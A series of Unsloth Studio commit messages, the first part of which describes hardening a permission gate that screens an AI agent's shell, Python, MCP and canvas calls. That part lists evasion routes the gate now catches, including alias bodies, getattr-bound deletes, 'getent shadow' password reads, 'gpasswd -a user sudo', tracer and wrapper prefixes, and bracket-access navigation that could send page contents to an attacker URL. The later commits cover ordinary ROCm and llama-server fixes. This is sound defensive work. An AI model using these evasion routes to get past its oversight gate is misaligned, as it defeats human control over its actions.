rather than this one.
- A shell alias body is a command bash runs when the alias is invoked, so it
is screened as a command in its own right, in the classifier and in the
always-on blocklist. This is the same shape as a git alias body, which was
already handled; leaving the shell form out was inconsistent.
- git --config-env=<key>=<envvar> takes its value from the environment, so an
alias key stores code that never appears in the command text at all. The
attached form was skipped entirely because the parser required no equals
sign. An alias key gates it now; ordinary keys are untouched.
- A destructive lookup stored before it is called (a name bound to
getattr(os, "remove")) matched neither the direct call shape nor the alias
collection, so it ran. The binding is tracked now.
- A credential basename only names a file when it appears in a string, but the
whole Python source was being scanned, so `credentials = {}`, a function
called load_credentials and even a comment mentioning credentials all
prompted while performing no I/O. The check applies to string literals now,
with the raw scan kept for source that does not parse.
* Split git short-option clusters and close five more gate gaps
- Git combines short options, so `git push -qf`, `git checkout -qf` and
`git branch -qD` never matched the exact-string flag sets and ran without a
prompt. Clusters are split before the destructive flags are checked. Also
adds the short `-f` spelling to the branch set, which moves a ref and can
abandon its commits.
- `getent shadow` and `getent gshadow` return password hashes straight from
NSS, so the read never spells out a path for the sensitive-path check to
find. The database name is gated instead; ordinary lookups (hosts, passwd)
still run.
- The account-management set covered useradd and usermod but not adduser,
deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
`gpasswd -a user sudo` granted group membership silently.
- at and batch hand a payload to atd, which runs it later as this user and
outside this invocation's blocklist, resource limits, timeout and
cancellation. They belong with crontab.
- A command word bash builds without the NAME=value form (printf -v, read)
left nothing at command position to screen. A bare variable executed as a
command that assignment expansion could not resolve now fails closed. A
variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
still leaves a literal basename the scan can read.
* Stop prompting on six inspection shapes and close eighteen gate gaps
Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:
- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
so they are inspection commands. The subcommand was gated regardless of its
flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
`echo 'python -m http.server'` and grepping for it prompted. It is anchored at
command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
`get_invoice`, `search_code` and `get_code` were prompting because the impact
and runtime-noun patterns fired on the noun. A read verb now suppresses both,
while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
DELETE FROM, a credential file or a path was read as an action. Statements are
taken from the query-bearing argument names, and paths are skipped only for
the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
wget -T 5 ...` lent curl's option letters to wget.
Gaps closed:
- git checkout-index -f overwrites the working tree from the index; git tag -d
and -f delete or replace a ref; git switch -C and checkout -B reset an
existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
(shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
check ran before the wrapper was resolved. slogin is a standard ssh alias and
was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
builtins.__import__ is the attribute form of __import__, and psutil ends a
process exactly as os.kill does. The psutil check is keyed on the import so an
unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
Cookie) goes out whatever its value looks like; collaborator and team-member
grants are access changes like the role verbs; and a recurring subscription
bills repeatedly.
* Bound the classifier's input and stop prompting on four more ordinary shapes
Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.
Robustness:
- The credential-path pattern backtracks superlinearly, so a long argument made
a single classification take seconds. Measured on main as well as here, so it
predates this change, but this change makes the auto gate the default and so
runs it on every call. Text far past any real path, and a command far past any
real command, now fail closed: they ask rather than spending unbounded time
deciding. Worst case over the adversarial set drops from a hang to 13 ms.
Over-prompting fixes:
- A container CLI reading its own state (docker ps, docker images, docker logs,
kubectl get) is inspection. The whole CLI was gated because the escape lives
in the arguments of run/exec, so the read subcommands were caught with it. An
unrecognised subcommand still asks, so the list can only be too small.
- A python payload is screened with the same analyzer the python tool uses, so
`python -c 'import torch; print(torch.__version__)'` runs while a destructive
one-liner still asks. A payload that does not parse fails closed, since shell
quoting may have mangled it. The other runtimes have no analyzer here and stay
gated.
- An assignment with no command after it runs nothing: every terminal call gets
its own shell process, so `export PATH=...` on its own dies with that process.
Verified against real bash rather than assumed.
- For the search paths other than PATH (PYTHONPATH and friends), a relative
entry points inside the session workdir, which is the agent's own directory,
so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
module and still asks. PATH itself counts for every value, because a relative
entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).
Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.
* Tighten the permission-mode comments
Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.
The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.
No code, string literal or test expectation changed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the navigation sinks reached by bracket access
The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.
Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.
* Gate seven more ways a command reaches the shell in auto mode
git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.
setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.
vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.
Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.
The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.
Adds 54 rows to the classifier tables covering both directions.
---------
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Fix GGUF tool chat server recovery
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover MTP precedence and loosen the replay assertion for PR #7424
Add a regression test for the MTP branch of the tool-loop respawn retry: the
file-wide _make_backend stub forces _maybe_recover_from_mtp_crash to False, so
nothing exercised the case where an MTP crash reload is already claimed and an
ordinary same-config respawn must not run on top of it. Cover both the next
tool-loop request and the final synthesis pass.
Replace the whole-payload equality assertions with a field-wise check. Comparing
the full dict pins max_tokens to the value derived from the dead server's
effective context, so a later fix that rebuilds server-derived defaults after a
respawn would read as a test failure rather than an improvement.
Document that the one-retry budget is per model request, not per chat turn.
* Recover from prefill-time deaths and stop respawn racing the MTP reload
Two gaps in the tool-loop respawn retry, both reproduced before fixing.
A child that exits during prefill has already accepted the socket, so httpx
raises ReadError, WriteError or RemoteProtocolError rather than ConnectError.
Those all arrive before the response opens, which is exactly the window where a
replay is safe, but the helper only caught ConnectError and gave up. Widen the
catch to NetworkError plus RemoteProtocolError. Timeouts stay excluded on
purpose: they mean the server is slow, not dead, and retrying one would spend
the 20 minute first-token budget twice. Windows resets connections where Linux
refuses them, so this also covers the common Windows presentation.
_maybe_recover_from_mtp_crash returns False both when the crash is not an MTP
crash and when an MTP-free reload is already in flight. Callers read that as
permission to respawn, so _respawn_if_dead replayed the crashing MTP kwargs and,
by replacing the process, made the in-flight reload abort on its own newer-load
check. Skip the respawn while that reload owns the corpse. The guard lives in
_respawn_if_dead so the plain chat path gets it too.
Regression tests for both, including a guard against retrying prefill timeouts.
* Release the MTP single-flight claim when the reload never starts
_mtp_runtime_fallback_in_progress is claimed before the reload thread exists, and
only that thread's finally clears it. Two statements ran in between with no unwind
path: re-reading _last_load_kwargs, which an unload can null underneath us, and
Thread.start(), which raises under the thread exhaustion that is exactly the
pressure killing llama-server in the first place. Nothing else ever resets the
flag, so a failure there latched it for the life of the process.
That was survivable before, since respawn ignored the flag. It is not now: the
guard added in db78184be keys off the flag alone, so a latch would silently
disable auto-respawn for every later model, including plain non-MTP ones. Read
the kwargs and process once before claiming, and release the claim if the thread
cannot start.
Restore the whole-payload equality assertions. Comparing field-wise was meant to
leave room for rebuilding server-derived defaults on replay, but the payload is
built once before the retry and re-sent unchanged, so the looser check only
dropped seven real keys and added a vacuous seed comparison.
Also correct the docstring: llama-server flushes its 200 at slot start, so a
death during decode arrives with the response already open. The pre-header window
this covers is an upload still in flight or a request waiting behind busy slots.
* Confirm the child exited before spending the retry
A closing llama-server can beat its own exit status: the socket error arrives while
poll() still reports the process running. _respawn_if_dead then took the alive
branch, handed back the stale _healthy, and the caller read that as a successful
respawn and spent its single retry on the same corpse. When that retry failed,
attempt was no longer 0, so no respawn ever happened and the turn died, with a log
line claiming a respawn that had not occurred. The window matters most for the
pre-header ReadError and RemoteProtocolError shutdowns the retry now covers.
Wait a bounded second for the exit status before calling the child alive. The same
race is already conceded in _maybe_recover_from_mtp_crash, whose recovery thread
polls for 5s because the error can arrive a beat early; 1s here because this runs
on the request path, and a genuinely live server, including one a concurrent caller
has just respawned, still returns promptly.
* Tighten the recovery comments
* Harden the respawn path around concurrent unloads and replacements
Two problems with the reap grace loop, both found by review.
Skip the grace when the server was already replaced. A caller queued on
_respawn_lock behind someone else's respawn woke holding the healthy replacement,
could not tell it from the child its own request had used, and waited out the full
grace. That sleep is under the lock, so the waits serialised: four concurrent
generations cost roughly three grace periods before any retry began. Capture the
process before taking the lock and return early once it has been swapped.
Do not respawn a server that is being torn down on purpose. unload_model() sets
_cancel_event and only clears _last_load_kwargs after the kill, so a request losing
its connection mid-unload could watch that deliberate exit through the grace loop,
read the stale kwargs and load the model straight back; a model switch landing
during the wait was reverted the same way. Re-check the cancel flag and the process
identity under _serial_load_lock before capturing the replay kwargs, matching what
the MTP-crash reload already does.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the respawn comments
* Do not charge the reap grace to a server that is still serving
The grace loop added for the not-yet-reaped race waits on poll(), which for a
live child never returns, so every transient transport error paid the full
_RESPAWN_REAP_GRACE_S. That sleep is held under _respawn_lock, so the cost
serialised: measured 1002 ms for one caller and 8.02 s for eight concurrent ones,
against 0 ms on main. A working install pays this, not a broken one.
A llama-server's listening socket dies with the process, so a loopback connect
separates the two cases in microseconds. Probe it first and return immediately
when the port still accepts; fall through to the grace only when the port is
gone, which is the case the grace exists for. Back to 0.7 ms for one caller and
0.00 s for eight.
Cross-checked on real hardware over Qwen3.5-2B, Llama-3.2-1B, Gemma-3-4B with
mmproj and Qwen3-30B-A3B: decode throughput within noise of main (-0.06%, -3.71%,
+2.57%, +0.29%, against a 54-232% spread between rounds of a single run), output
byte-identical on every round, tool-path recovery restored on the three families
whose model calls the tool, and plain-chat recovery still working on all four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the respawn lose to a deliberate unload in every window
Two follow-ups on the respawn path, both reproduced first.
Check _cancel_event before the socket fast path. unload_model sets the flag before
it kills, so the child is still accepting when the probe runs; returning the stale
_healthy there aims the retry at a server that is deliberately going away.
Close the unload TOCTOU. The old cancel check sat under _serial_load_lock, which
unload_model never takes, so an unload could land entirely between that check and
load_model and the captured kwargs would restart a model the user had stopped.
Snapshot the kwargs, the flag and a new _unload_epoch together under _lock, the
lock unload does hold, so a teardown is either wholly before the snapshot or
wholly after it. load_model clears _cancel_event on the way in, so the epoch is
the only evidence that survives; when it moves during the reload the replacement
is unloaded again rather than left running.
_lock stays uncontended across load_model, which would deadlock a plain Lock and
block /status for the length of a load. Error-path latency is unchanged: 0.6 ms
for a live server and 0.00 s for eight concurrent callers.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* ROCm/AMD CI coverage: arch-table parity, native-Linux lib prepend, RDNA4 grouped_mm, discovery-based shell suite
Three merged ROCm fixes shipped without tests, and the CI wiring that
would have run them was gated on files the fixes do not touch.
Tests added (113):
tests/studio/install/test_rocm_arch_table_parity.py (27)
diffs the four duplicated gfx -> AMD pip-index tables across
install.sh, install.ps1, studio/setup.ps1 and install_python_stack.py,
plus the GPU-name -> arch tables and the torch 2.11 pin allowlist.
tests/studio/install/test_rocm_native_linux_lib_dirs.py (26)
covers #7233: system-ROCm lib dirs prepended ahead of bundled
libggml-hip, the /dev/kfd + not-WSL + libhsa gate, the opt-out env
var, root resolution order, and source parity between the two copies.
studio/backend/tests/test_grouped_mm_rdna4_fallback.py (46)
covers #7292: registration on the CUDA dispatch key, grouped and
ungrouped numerics, bias/dtype promotion, and the Linux HIP<7.13 +
RDNA4 name gate, executed from the shipped source rather than a copy.
tests/studio/test_ci_shell_suite_coverage.py (14)
fails if either shell runner goes back to a hardcoded list or skips
a file without a recorded reason.
CI wiring:
studio-backend-ci.yml: add install.sh / install.ps1 to the path filter
(the suites it runs assert against those two files, so install-only
changes -- the shape most AMD/ROCm routing fixes take -- skipped it),
and replace the 13-file hardcoded shell list with directory
discovery. That list had fallen seven files behind, including
test_strixhalo_wsl_reroute.sh, the only shell coverage of the ROCm
WSL reroute, which had never run on a PR.
tests/run_all.sh: same discovery loop so local and CI agree.
* Test review fixes: assert on outcomes, not on the code under test
Self-review of the previous commit found four tests that passed for the
wrong reason.
1. The arch-table parity test pinned expected gfx ids copied out of the
shipped tables, which enshrined three upstream inaccuracies as
correct: RX 9070 (non-XT) is gfx1201 not gfx1200, RX 7800 XT is
gfx1101 not gfx1100, and PRO V710 is gfx1101 not gfx1102 per AMD's
ROCm compatibility matrix. The expectation is now the AMD pip index
leaf -- the thing the tables exist to produce, and what a wrong
answer costs the user. The three known drifts are listed explicitly
with a test asserting they stay cosmetic, i.e. that the wrong and
right ids still map to the same wheel index. That test turns red the
day one of them starts routing users to the wrong wheel.
2. The RDNA4 device-name test extracted the regex from worker.py and
then matched with it, so it could not fail. Widening the pattern --
the dangerous edit, since it forces the slow Python mm fallback onto
RDNA3 users -- would have been silently accepted. It now reads the
live pattern and checks it against fixed cases, plus asserts the
name match stays guarded by `not _lin_arch` and that the name is
lowercased before matching.
3. The CI-coverage test matched a verbatim line of studio-backend-ci.yml,
so reindenting the step would fail the build while a real regression
to a hardcoded list could slip past a reformat. It now parses the
YAML, finds the step by name, and asserts on the glob plus the
absence of individual filenames. The path-filter test likewise reads
the parsed trigger instead of scanning raw text.
4. A set comprehension in the parity helper had a ternary whose branches
were identical.
Mutation-tested: widening the RDNA4 regex, desyncing one copy of the
name table, dropping install.sh from the path filter, and re-skipping
the ROCm WSL shell suite each fail at least two tests. Verified on
Linux (WSL Ubuntu 24.04) with CI's torch pin: 86 + 48 pass.
* Fix three wrong gfx ids in the GPU-name arch tables
The name -> gfx tables disagreed with AMD's ROCm compatibility matrix on
three entries. Corrected against the "Radeon GPU" list at
rocm.docs.amd.com/en/latest/compatibility/compatibility-matrix.html:
RX 9070, RX 9070 GRE gfx1200 -> gfx1201 (Navi 48, same die as the XT)
RX 7800 XT, RX 7700 XT gfx1100 -> gfx1101 (Navi 32, not Navi 31)
PRO W7700 gfx1100 -> gfx1101
PRO V710 gfx1102 -> gfx1101 (Navi 32, not Navi 33)
No wheel changes for anyone: gfx1200/gfx1201 both resolve to gfx120X-all
and gfx1100/gfx1101/gfx1102 all resolve to gfx110X-all, in all four copies
of the index-family map. That collapse is why the errors survived being
copied into six places -- the leaf-level tests could not see them.
It was not purely cosmetic, though. install.sh's second copy feeds
"Tip: set UNSLOTH_ROCM_GFX_ARCH=<arch>", so a 7800 XT user following the
printed advice exported gfx1100 and made a wrong id authoritative for
every later run. It would also have become a real misroute the moment AMD
split a family across index leaves, as they already do for gfx1151/gfx1150.
Fixed in all six places, which is two more than the table's own "kept in
sync with" comments claim exist:
install.sh _infer_amd_gfx_arch_from_gpu_name
install.sh case "$_gpu_disp_mkt" (banner + env tip; undocumented)
studio/setup.sh
install.ps1
studio/setup.ps1
studio/install_python_stack.py
Ordering is preserved: the gfx1102 arm still precedes gfx1101 in the shell
copies so "RX 7700S" cannot fall onto the "RX 7700" glob, and the
PowerShell copies keep the (?!S) lookahead.
Test changes:
- test_rocm_arch_table_parity.py gains _AMD_DOCUMENTED_ARCH, exact gfx
ids transcribed from AMD rather than from the tables. Agreement between
six copies proves nothing when all six were transcribed from the same
mistake, so the ground truth has to come from outside. Verified it
catches the bug: against the pre-fix tables it fails 6 tests.
- The parity check now covers all six copies. It had four; the two
install.sh copies were being treated as one, and
_WIN_GPU_NAME_ARCH_TABLE was not checked at all.
- test_rocm_support.py's TestGfxArchNameFallback pinned two of the wrong
ids as expected values; updated, and extended with a 9060 XT and a
7900 XTX case so each RDNA3/4 die is represented.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard against unregistered copies of the GPU-name arch table
Counting the copies by hand is what let them drift: the in-code "kept in
sync with" comments claimed four, the arch-id fix found six, and scanning
the tree turns up a seventh.
TestNoUnregisteredArchTable rediscovers the copies from the source tree
instead of trusting a hand-maintained list. A table line is one that names
a card and gives its arch; real tables score 9-17 such lines and the only
other hits in the repo are two single-line prose comments, so the
three-line threshold is not load-bearing. A companion test asserts the
scan still finds the known copies, so the heuristic cannot go blind and
pass by finding nothing.
The seventh copy is tests/_zoo_rocm_spoof.py, the fixture other ROCm tests
build their fake AMD host from. It states the mapping backwards (gfx ->
the name torch should report), which makes it an independent witness: it
had gfx1101 -> RX 7800 XT and gfx1201 -> RX 9070 XT right while all six
installer copies were wrong, and nothing compared the two. Now they are
round-tripped against each other.
RX 6700 XT is pinned as a known divergence rather than normalised. AMD's
compatibility matrix documents no consumer RX 6000 card and no gfx1031 at
all, the installer arm is commented "gfx103X family", and gfx1031 appears
only as an index-family key, never as a value a name table emits. With no
external source to correct against, changing shipped behaviour would be
guesswork. A test fails if the divergence ever disappears, so the
exemption cannot go stale.
Also adds the reverse of the AMD-matrix check: a documented card that
matches no arm anywhere is a silent CPU fallback rather than a wrong id.
This cannot detect hardware nobody transcribed, which would need a live
fetch of AMD's matrix and a non-hermetic suite; the docstring says so
rather than implying coverage that is not there.
Verified on Linux: 478 passed, plus all five new guards mutation-tested
to confirm each fails when its invariant is broken.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Docstring said six copies; the list under it now has seven
* tests: run discovered shell tests with bash, not sh
tests/run_all.sh discovered tests/sh/ instead of listing files, but still
invoked each one with sh. Every file there declares a bash shebang, and on
Debian/Ubuntu /bin/sh is dash: test_apt_distro_prompt.sh,
test_studio_home_node_dir.sh and test_with_llama_cpp_dir_link_behavior.sh
fail on bashisms under dash and pass under bash. The old hand-written list
happened to name only dash-clean files, so switching to discovery is what
surfaced it. Backend CI already used bash, so this was a local-only break.
Guarded by a new test asserting both runners invoke tests/sh/ with bash.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Krackan Point (Radeon 860M/840M) routed to the gfx1150 wheel index
The GPU-name tables map 860M/840M and the Ryzen AI 7 350 / AI 5 340 CPU
strings to gfx1150, but Krackan Point is gfx1152. AMD's own lemonade table
(src/cpp/server/system_info.cpp) maps both Krackan iGPUs to gfx1152.
Unlike the three ids already fixed here, this one is not wheel-neutral:
repo.amd.com publishes gfx1150 and gfx1152 as separate index leaves with
separately built torch wheels, so these laptops were installing wheels
built for a different LLVM target. gfx1152 was absent from the codebase
entirely, so it needed the index-family maps, the torch 2.11 floor lists
(same _grouped_mm bug as gfx1150/1151), the Strix reroute set and the
Windows arch allowlist as well as the seven name tables.
The parity test added in this PR did not catch it because its AMD-matrix
expectations stopped at 890M/880M. Added the APU rows, so the case that
actually changes a wheel is now covered: reverting the tables fails 9
tests naming 860M, 840M and Krackan.
gfx1153 (Ryzen AI 5 430 era) is left alone; AMD publishes no gfx1153
wheel family, so there is nothing to route it to.
Verified: bash -n on both shell installers, PowerShell AST parse on both
.ps1 files, python ast.parse on all touched modules, install suite 1334
passed with no new failures against main, shell suite 20 files.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add gfx1152 to unified-memory classifiers, make parity allowlist set-based
Krackan Point (gfx1152, Radeon 860M/840M) is the third RDNA 3.5 APU and
shares one GPU/system-RAM pool exactly like Strix Point (gfx1150) and
Strix Halo (gfx1151), but only the installers knew about it. The two
runtime classifiers still had two-element arch sets, so a Krackan laptop
got the 0.90 discrete headroom factor on a shared pool and ran llama.cpp
without GGML_CUDA_ENABLE_UNIFIED_MEMORY.
- worker.py _rocm_classify_unified_memory: add gfx1152 to the arch set,
and 860m/840m to the device-name fallback. The NVIDIA GeForce 840M
cannot collide there: the function is only reached under _hw.IS_ROCM.
- llama_cpp.py _amd_apu_wants_unified_memory: add gfx1152 to the arch set.
- Tests for both, including the :sramecc-:xnack- suffix form.
TestGfx211AllowlistParity compared four hardcoded allowlist strings, so
adding gfx1152 to all four installers correctly turned three assertions
red without any installer actually disagreeing with another. Each test
now extracts the set its installer holds and compares it to one EXPECTED
constant. Order and spacing are free, membership is not, and the next
leaf is a one-line edit instead of four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: reset quantized KV cache to f16 when flash-attn-off fallback fires
Studio force-enables --flash-attn on for GGUF launches. On a hard startup
or first-decode crash it retries via _with_flash_attn_off, which flipped FA
off but left --cache-type-k/-v untouched. A quantized KV cache (q8_0, q4_0,
q4_1, q5_0, q5_1, iq4_nl) requires flash attention in llama.cpp, so the retry
itself aborted at init with 'V cache quantization requires flash_attn' instead
of recovering.
Reset any quantized --cache-type-k/-v to f16 in the FA-off fallback path so
the retry can actually launch. Non-quantized types (f16, bf16, f32) run fine
without flash attention and are left unchanged. Handles long and short flag
forms and both space and equals syntax, rewriting in place to preserve list
length. Adds pytest coverage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: FA-off fallback resets only the quantized V cache and drops env-only V cache
Only the V cache requires flash attention in llama.cpp; a quantized K cache
runs fine without it. Restrict the FA-off crash-recovery reset to the V axis
(main and draft) so a memory-constrained config keeps its quantized K cache
instead of risking an OOM on the recovery. Also drop an inherited quantized V
cache set purely through the environment (LLAMA_ARG_CACHE_TYPE_V /
LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_V) at the FA-off retry sites, which the argv
rewrite cannot reach, so the child falls back to the f16 default rather than
aborting.
* Studio: normalize underscore V-cache aliases in the FA-off fallback
llama.cpp rewrites '_' to '-' for any '--' long option before matching,
so a pass-through --cache_type_v q8_0 enables a quantized V cache just
like --cache-type-v. The FA-off crash-recovery reset only matched the
hyphenated spelling, so the underscore alias slipped through and the
retry still aborted with "V cache quantization requires flash_attn".
Canonicalize the flag name the same way before matching (short flags and
the type value are untouched).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix reasoning-only Qwen3.6 completions in Studio
* Address reasoning-only review findings
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio): stop false MTP/vision capability reports (#7302)
MTP probing only inspected the first physical --spec-type help line and
treated empty/crash --help output as "lacks MTP", which false-warned on
otherwise capable builds. Parse the full --spec-type help block, fail open
when the probe is inconclusive, and stop blaming bare mmproj crashes on a
projector-format mismatch when the text-only retry also fails.
Fixes#7302
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): tighten MTP probe semantics per Codex review (#7302)
Treat nonempty --help without --spec-type as definitive no-MTP, keep only
empty/crash probes inconclusive, skip binary_no_mtp UI hint on inconclusive
loads, and stop reporting supports_mtp=True in /status for unknown probes.
* Treat failed llama-server --help probes as inconclusive (#7302)
Gate definitive no-MTP results on a zero exit code so crash diagnostics with
nonempty stderr do not re-enable the false lacks-MTP warning path.
* Add returncode to probe test mock so probe_ok gating passes
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fail open in /status when the MTP probe is inconclusive
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Report missing llama-server as lacking MTP in /status
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in MTP/mmproj probe changes
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Adds a configurable Hugging Face model download cache location to Unsloth Studio, selectable from Settings, with per-cache download manifests, scoped deletion, and read-only inventory of previously selected caches.
* Studio: mask AMD GPU pins via ROCR so an unsupported iGPU can't crash llama-server
On a mixed AMD host (e.g. a discrete gfx1102 GPU next to a gfx1103 iGPU)
the bundled rocm-gfx110X llama.cpp build segfaults during HSA device
enumeration on the unsupported iGPU -- before llama-server prints a line,
so every model load fails with a bare signal and empty logs.
The GPU-subset pin masked visibility with HIP_VISIBLE_DEVICES, but HIP
filtering runs only after the HSA runtime has already enumerated (and
crashed on) every agent. Mask the subset via ROCR_VISIBLE_DEVICES (the
ROCr/HSA layer) instead, so a deselected/unsupported GPU is never
enumerated. Exactly one layer is masked (HIP cleared) to avoid the
double-mask reindex that would otherwise drop the child to CPU. The
whole-set tensor-split path and the CPU-only sentinel keep their existing
HIP behavior.
Also stop misreporting the resulting startup segfault as a vision
projector incompatibility: when the text-only mmproj retry also hard-
crashes with a signal, surface a GPU/driver init crash (with the ROCR
hint) instead of blaming the projector.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten _emit_child_gpu_visibility comments for #7272
Comment and docstring only: condense the ROCR-vs-HIP masking rationale from ~22 to ~14 lines and the call-site note from 5 to 3, keeping every technical point (HSA enumeration segfault, physical ids, the -1 sentinel). Logic is unchanged, verified by an AST compare with docstrings stripped and by exercising _emit_child_gpu_visibility against a torch/HIP stub.
* Detect AMD SDK ROCm wheels (hip=None) in _emit_child_gpu_visibility (Codex P2)
The ROCm branch gated only on torch.version.hip, but AMD SDK wheels leave that unset while encoding 'rocm' in __version__ (detect_hardware handles this the same way). On such a wheel the masking was skipped entirely, leaving only CUDA_VISIBLE_DEVICES, so on a mixed AMD box the unsupported deselected iGPU still enumerated and could crash llama-server. Now the branch also treats 'rocm' in torch.__version__ as ROCm, mirroring detect_hardware. Adds tests for the hip=None SDK wheel (ROCR + default paths) and a CUDA guard so the version-string check can't false-positive.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Remap CUDA_VISIBLE_DEVICES to post-ROCR ordinals on prefer_rocr for PR #7272 (Codex P1)
On the prefer_rocr path _emit_child_gpu_visibility set ROCR_VISIBLE_DEVICES to the
physical id and cleared HIP_VISIBLE_DEVICES, but left CUDA_VISIBLE_DEVICES at the
physical id. ROCR re-indexes the visible agents from 0 and, with HIP cleared, HIP
honours CUDA_VISIBLE_DEVICES -- so a non-zero pick (e.g. GPU 1) pointed out of
range, HIP saw 0 devices, and the child fell back to CPU, defeating GPU-picker
selections other than physical GPU 0. Remap CUDA to the post-ROCR ordinals
(0..N-1); GPU 0 is unchanged, the default (HIP) path and the CPU sentinel are
untouched, and non-AMD wheels never enter this branch.
* Detect AMD SDK wheels in _resolve_visible_physical_ids for PR #7272 (Codex P2)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the HIP mask on Windows ROCm in prefer_rocr for PR #7272 (Codex P2)
* Ignore ROCR_VISIBLE_DEVICES in _resolve_visible_physical_ids on Windows for PR #7272 (Codex P2)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve inherited ROCR masks in the tensor-split pin for PR #7272 (Codex P2)
---------
